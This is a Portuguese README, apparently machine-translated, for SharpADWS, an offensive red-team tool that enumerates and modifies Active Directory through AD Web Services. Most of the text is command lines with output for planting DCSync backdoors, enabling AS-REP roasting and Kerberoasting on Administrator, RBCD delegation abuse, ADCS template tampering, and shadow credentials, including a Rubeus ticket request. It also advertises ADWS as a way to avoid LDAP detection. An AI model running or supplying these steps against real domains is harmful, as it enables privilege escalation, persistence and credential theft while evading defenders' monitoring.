wh0amitz/sharpadwsReconhecimento e exploração do Active Directory para Red Teams através dos Active Directory Web Services (ADWS).
Reconhecimento e exploração do Active Directory para Red Teams via Active Directory Web Services (ADWS).
SharpADWS é uma ferramenta de reconhecimento e exploração do Active Directory para Red Teams que coleta e modifica dados do Active Directory através do protocolo Active Directory Web Services (ADWS).
Normalmente, a enumeração ou manipulação do Active Directory ocorre através do protocolo LDAP. O SharpADWS tem a capacidade de extrair ou modificar dados do Active Directory sem se comunicar diretamente com o servidor LDAP. Sob o ADWS, as consultas LDAP são encapsuladas em uma série de mensagens SOAP e enviadas ao servidor ADWS usando um canal criptografado NET TCP Binding. O servidor ADWS então descompacta a consulta LDAP localmente e a encaminha para o servidor LDAP em execução no mesmo controlador de domínio.
O Active Directory Web Services (ADWS) é ativado automaticamente quando o Active Directory Domain Services (ADDS) é instalado, tornando o SharpADWS universal em todos os ambientes de domínio.
Um dos principais benefícios de usar ADWS para pós-exploração LDAP é que ele é relativamente desconhecido e, como o tráfego LDAP não é enviado pela rede, não é facilmente detectado por ferramentas de monitoramento comuns. O ADWS executa um serviço completamente diferente do LDAP, está disponível na porta TCP 9389 e usa o protocolo SOAP como interface.
Ao pesquisar o ADWS, notamos que, por ser um serviço web SOAP, a execução real da consulta LDAP é feita localmente no controlador de domínio. Isso proporciona vários efeitos colaterais interessantes que se mostram benéficos. Por exemplo, ao analisar consultas LDAP em um controlador de domínio, você pode notar que as consultas se originam de logs 127.0.0.1, que em muitos casos serão ignorados.
Um benefício secundário disso é que a atividade não aparece em DeviceEvents sob o tipo de ação LDAPSearch, o que significa que muito poucos dados de telemetria estão disponíveis.
O SharpADWS implementa os protocolos MS-ADDM, MS-WSTIM e MS-WSDS. Você pode usar o código-fonte deste projeto para implementar facilmente as seguintes operações no Active Directory Web Services:
O argumento de linha de comando -h pode ser usado para exibir as seguintes informações de uso:```cmd
C:\Users\Marcus>SharpADWS.exe -h
SharpADWS 1.0.0-beta - Copyright (c) 2024 WHOAMI (whoamianony.top)
-h Display this help screen
Connection options: -d Specify domain for enumeration -u Username to use for ADWS Connection -p Password to use for ADWS Connection
Supported methods: Cache Dump all objectSids to cache file for Acl methods Acl Enumerate and analyze DACLs for specified objects, specifically Users, Computers, Groups, Domains, DomainControllers and GPOs DCSync Enumerate all DCSync-capable accounts and can set DCSync backdoors DontReqPreAuth Enumerates all accounts that do not require kerberos preauthentication, and can enable this option for accounts Kerberoastable Enumerates all Kerberoastable accounts, and can write SPNs for accounts AddComputer Add a machine account within the scope of ms-DS-MachineAccountQuota for RBCD attack RBCD Read, write and remove msDS-AllowedToActOnBehalfOfOtherIdentity attributes for Resource-Based Constrained Delegation attack Certify Enumerate all ADCS data like Certify.exe, and can write template attributes Whisker List, add and remove msDS-KeyCredentialLink attribute like Whisker.exe for ShadowCredentials attack FindDelegation Enumerate all delegation relationships for the target domain
Acl options: -dn RFC 2253 DN to base search from -scope Set your Scope, support Base (Default), Onelevel, Subtree -trustee The sAMAccountName of a security principal to check for its effective permissions -right Filter DACL for a specific AD rights -rid Specify a rid value and filter out DACL that security principal's rid is greater than it -user Enumerate DACL for all user objects -computer Enumerate DACL for all computer objects -group Enumerate DACL for all group objects -domain Enumerate DACL for all domain objects -domaincontroller Enumerate DACL for all domain controller objects -gpo Enumerate DACL for all gpo objects
DCSync options: -action [{list, write}] Action to operate on DCSync method list List all accounts with DCSync permissions write Escalate accounts with DCSync permissions -target Specify the sAMAccountName of the account
DontReqPreAuth options: -action [{list, write}] Action to operate on DontReqPreAuth method list List all accounts that do not require kerberos preauthentication write Enable do not require kerberos preauthentication for an account -target Specify the sAMAccountName of the account
Kerberoastable options: -action [{list, write}] Action to operate on Kerberoastable method list List all kerberoastable accounts write Write SPNs for an account to kerberoast -target Specify the sAMAccountName of the account
AddComputer options: -computer-name Name of computer to add, without '$' suffix -computer-pass Password to set for the computer
RBCD options: -action [{read,write,remove}] Action to operate on RBCD method read Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account write Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account remove Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the account added by the write action
Certify options: -action [{find, modify}] Action to operate on Certify method find Find all CA and certificate templates modify Modify certificate templates -enrolleeSuppliesSubject Enumerate certificate templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for find action, and can enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for modify action -clientAuth Enumerate certificate templates with client authentication pKIExtendedKeyUsage for find action, and can enable Client Authentication for modify action
Whisker options: -action [{list, add, remove}] Action to operate on ShadowCredentials method list List all the values of the msDS-KeyCredentialLink attribute for an account add Add a new value to the msDS-KeyCredentialLink attribute for an account remove Remove a value from the msDS-KeyCredentialLink attribute for an account -device-id Specify the DeviceID to remove -target Specify the sAMAccountName of the account
FindDelegation options: No options, just run!
### Cache
Quando o SharpADWS enumera a ACL, para não realizar requisições ADWS adicionais para cada objeto trustee desconhecido, é necessário criar uma cache completa de todos os objetos de conta antecipadamente através do método cache e salvá-la em um arquivo, evitando assim um grande número de fluxo (desnecessário). A cache contém um mapeamento de cada nome de objeto de conta dentro do domínio atual para seu objectSid.```cmd
C:\Users\Marcus>SharpADWS.exe Cache
[*] Cache file has been generated: object.cache
O método Acl pode enumerar o DACL do objeto especificando -dn, e suporta a filtragem do DACL enumerado através dos parâmetros -trustee, -right e -rid. Por exemplo, queremos enumerar todos os objetos de Domain Controller e filtrar o DACL cujo trustee é Marcus, da seguinte forma:```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus
Severity : Critical ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False
Para outro exemplo, queremos enumerar todos os objetos do tipo Utilizador e filtrar as DACLs com permissões GenericWrite e trustee RID superior a 1000, conforme mostrado abaixo:```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000
Severity : Critical
ObjectDN : CN=Bob,CN=Users,DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectType : All
Trustee : Marcus
IsInherited : False
Além disso, o método Acl também suporta enumeração de objetos específicos:```cmd SharpADWS.exe acl -user # Enumerate DACL for all user objects SharpADWS.exe acl -computer # Enumerate DACL for all computer objects SharpADWS.exe acl -group # Enumerate DACL for all group objects SharpADWS.exe acl -domain # Enumerate DACL for all domain objects SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects
**Deve-se notar que o uso do Método Acl deve depender do cache de mapeamento que foi estabelecido através do método Cache.**
### DCSync
A ação `list` do método DCSync pode consultar todas as contas que receberam as permissões DS-Replication-Get-Changes, DS-Replication-Get-Changes-All e DS-Replication-Get-Changes-In-Filtered-Set, conforme mostrado a seguir Show:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action list
Severity : Info
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Administrators
IsInherited : False
Severity : Info
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Domain Controllers
IsInherited : False
Severity : Critical
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Alice
IsInherited : False
Deve-se notar que a ação list do Método DCSync deve confiar no cache de mapeamento que foi estabelecido através do método Cache.
Além disso, com permissões suficientes, você pode conceder permissões DCSync a uma conta via write para estabelecer um backdoor de persistência de domínio:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus
[*] Account Marcus now has DCSync privieges on the domain.
### DontReqPreAuth
A ação `list` do método DontReqPreAuth pode encontrar todas as contas com a opção "Não requerer pré-autenticação kerberos" ativada, conforme mostrado abaixo:```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list
[*] Found users that do not require kerberos preauthentication:
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] CN=Alice,CN=Users,DC=corp,DC=local
[*] CN=John,CN=Users,DC=corp,DC=local
Além disso, você pode abusar das permissões WriteProperty na propriedade userAccountControl da conta alvo, ativando a opção "Do not require kerberos preauthentication" para essa conta através da ação write para realizar um ataque AS-REP Roasting:```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator
[*] Set DontReqPreAuth for user Administrator successfully!
### Kerberoastable
A ação `list` do método Kerberoastable pode encontrar todas as contas com SPN configurado, conforme mostrado abaixo:```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list
[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*] kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] WWW/win-iisserver.corp.local/IIS
[*] TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*] TERMSERV/WIN-SERVER2026
Além disso, você pode abusar das permissões WriteProperty na propriedade servicePrincipalName da conta alvo para realizar um ataque Kerberoasting adicionando um SPN a essa conta (apenas contas de usuário) através da ação write:```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator
[*] Kerberoast user Administrator successfully!
### AddComputer
O método AddComputer permite criar uma nova conta de computador dentro do escopo do valor do atributo `ms-DS-MachineAccountQuota`, que pode ser usada em ataques RBCD subsequentes.```cmd
C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd
[*] Successfully added machine account PENTEST$ with password Passw0rd.
A ação read do método RBCD pode ler o valor do atributo msDS-AllowedToActOnBehalfOfOtherIdentity do objeto de conta especificado para verificar quem tem o direito de delegar recursos para a conta, conforme mostrado abaixo:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$
[] Accounts allowed to act on behalf of other identity: [] WIN-IISSERVER$ (S-1-5-21-1315326963-2851134370-1073178800-1106) [] WIN-MSSQL$ (S-1-5-21-1315326963-2851134370-1073178800-1103) [] WIN-PC8087$ (S-1-5-21-1315326963-2851134370-1073178800-1117)
A ação `write` do método RBCD pode escrever na propriedade `msDS-AllowedToActOnBehalfOfOtherIdentity` do objeto da conta de destino para ataques de Delegação Restrita Baseada em Recursos. Como mostrado abaixo, primeiro criamos uma nova conta extrema `PENTEST$` usando o método AddComputer, e então podemos executar o seguinte comando para escrever o SID de `PENTEST$` no atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` de `DC01$`:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$
[*] Delegation rights modified successfully!
[*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
Além disso, o SID adicionado na ação write pode ser removido do atributo msDS-AllowedToActOnBehalfOfOtherIdentity do objeto alvo através da ação remove:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$
[] Delegation rights modified successfully! [] Accounts allowed to act on behalf of other identity has been removed: [*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
### Certify
A ação `find` do método Certify pode enumerar os dados no ADCS, incluindo todas as autoridades de certificação e modelos de certificado, assim como [Certify](https://github.com/GhostPack/Certify):```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find
[*] Find CA and certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Listing info about the Enterprise CA 'corp-DC01-CA'
Enterprise CA Name : corp-DC01-CA
DNS Name : DC01.corp.local
FullName : DC01.corp.local\corp-DC01-CA
Certificate Subject : CN=corp-DC01-CA, DC=corp, DC=local
Certificate Serial Number : 2D975C2D49AE4BB7432682E1708C8834
Certificate Validity Start : 2/13/2024 5:55:36 PM
Certificate Validity End : 2/13/2029 6:05:36 PM
CA Permissions :
Enrollment Rights :
: Authenticated Users
Object Control Permissions :
ManageCA :
: Enterprise Admins
: DC01
: Domain Admins
ManageCertificates :
: Enterprise Admins
: DC01
WriteDacl :
: Enterprise Admins
: DC01
: Domain Admins
WriteOwner :
: Enterprise Admins
: DC01
: Domain Admins
WriteProperty :
: Enterprise Admins
: DC01
: Domain Admins
[*] Available Certificates Templates
CA Name : CORP-DC01-CA
Template Name : User
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT
msPKI-Private-Key-Flag : EXPORTABLE_KEY
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Domain Users
CA Name :
Template Name : UserSignature
Enabled : False
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
pKIExtendedKeyUsage : Secure Email Client Authentication
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : AUTO_ENROLLMENT
msPKI-Private-Key-Flag : ATTEST_NONE
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Domain Users
# ...
Além disso, a ação find suporta as opções -enrolleeSuppliesSubject e -clientAuth, que podem filtrar todos os modelos de certificado que possuem a flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ativada e suportam Autenticação de Cliente:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth
[] Find CA and certificate templates [] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA'
# ...
[*] Available Certificates Templates
CA Name : CORP-DC01-CA
Template Name : User
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT
msPKI-Private-Key-Flag : EXPORTABLE_KEY
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Marcus
: Domain Users
**Deve-se notar que o `find` do Método Certify deve depender do cache de mapeamento que foi estabelecido através do Método Cache.**
A ação `modify` do método Certify permite modificar as propriedades do modelo de certificado, como ativar a flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ou habilitar a Autenticação de Cliente, caso você tenha acesso de escrita ao modelo alvo:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth
[*] Enable enrollee supplies subject for template User successfully!
[*] Enable client authentication for template User successfully!
O método Whisker é capaz de realizar o ciclo de vida de um ataque ShadowCredentials assim como Whisker.
A ação list do método Whisker pode listar o valor do atributo msDS-KeyCredentialLink do objeto da conta alvo:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action list -target DC01$
[] List deviced for DC01$: [] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM [] DeviceID: ee48b31f-71b1-4821-b21e-1ca28fad2ae9 Creation Time: 2/13/2024 8:06:52 PM [] DeviceID: 80c31faf-8b0b-4af6-8350-22de2d91a4fd Creation Time: 2/13/2024 8:01:50 PM
A ação `add` do método Whisker permite adicionar uma Chave à propriedade `msDS-KeyCredentialLink` da conta alvo para realizar um ataque ShadowCredentials se você tiver acesso de escrita:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action add -target Administrator -cert-pass Passw0rd
[*] Certificate generaged
[*] KeyCredential generated with DeviceID 7d9e0151-5fd2-46d5-ac3d-dce8a71399f2
[*] Updated the msDS-KeyCredentialLink attribute successfully!
[*] You can now run Rubeus with the following syntax:
Rubeus.exe asktgt /user:Administrator /certificate:MIIJzwIBAzCCCYsGCSqGSIb3DQEHA
aCCCXwEggl4MIIJdDCCBiUGCSqGSIb3DQEHAaCCBhYEggYSMIIGDjCCBgoGCyqGSIb3DQEMCgECoIIE/
jCCBPowHAYKKoZIhvcNAQwBAzAOBAjQKx9W/RRiIgICB9AEggTYyQ1jkAw63J4ldeBGctrUhGFPLkIll
NNTizR2Ah/RW+QS2PjWVqv1N2AgybObllM3qVD2xxVxTQpSNvFsHTmZMCVFg++uknPBA7nVriX2rcTPJ
bB/K0DANikCdSDXq1ROgIMRx3mpHtCX2Med82O0OJKOhk+S/Zt3K3r3BloSXRJI0YWUitlP3LPFG9DeG
p1Pox/BL+83NmL9x1hX8ztTPixUlLteNUA5etJzdH0z+yFbqozH7HE1HClYFTanhS0codWpc19QjamWj
DpmOMthgQlf6V+4kiG9PVyCHB7vzFbEnUcprLIRmlPKZKTEp2swfSKj+TeknccuHePIAtASJav286POp
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dxocOUjQsGcu7kt4fc6AmQLh7k912okoASyDRjHXABHv/Y6Q7+J1m84aI4BtbkaXmg0fE6pQtCxnGNEO
YEYUfa+8JBvDfKhidxCb1S9QM0B+EONfJk8vu+7rMvxjvhdPMZoJPpVT0kaf2FnripAX4jQDaiaq/6Mq
N5EKg23IujIlzDNIjHN1Ev8WWlL+LthfWe1m7F2Su3iaOgPMuqeX9VWpJcBUYjXgmn168aZ49vp5k6vG
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 /password:"Passw0rd" /domain:cor
p.local /getcredentials /show
Adicionalmente, com a ação remove você pode fornecer -device-id para remover a Chave especificada da propriedade msDS-KeyCredentialLink do objeto alvo:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action remove -target DC01$ -device-id c9fdae6b-f6a1-4880-a498-6dc89814e596
[] Found value to remove [] msDS-KeyCredentialLink value has been removed: [*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM
### FindDelegation
O método FindDelegation pode enumerar todas as relações de delegação no domínio atual. Este método não possui opções ou parâmetros redundantes:```cmd
C:\Users\Marcus\desktop>SharpADWS.exe FindDelegation
AccountName AccountType DelegationType DelegationRightsTo
----------- ----------- ---------------------------------- ----------------------------------------------
DC01$ Computer Unconstrained N/A
PENTEST$ Computer Resource-Based Constrained DC01$
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/CORP
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01/CORP
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/DomainDnsZones.corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/ForestDnsZones.corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/CORP
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01/CORP
Este projeto foi concluído por mim de forma independente, e inevitavelmente haverá alguns bugs. Contribuidores são muito bem-vindos para enviar issues para relatar bugs ou propor novas ideias para melhorar o projeto em conjunto!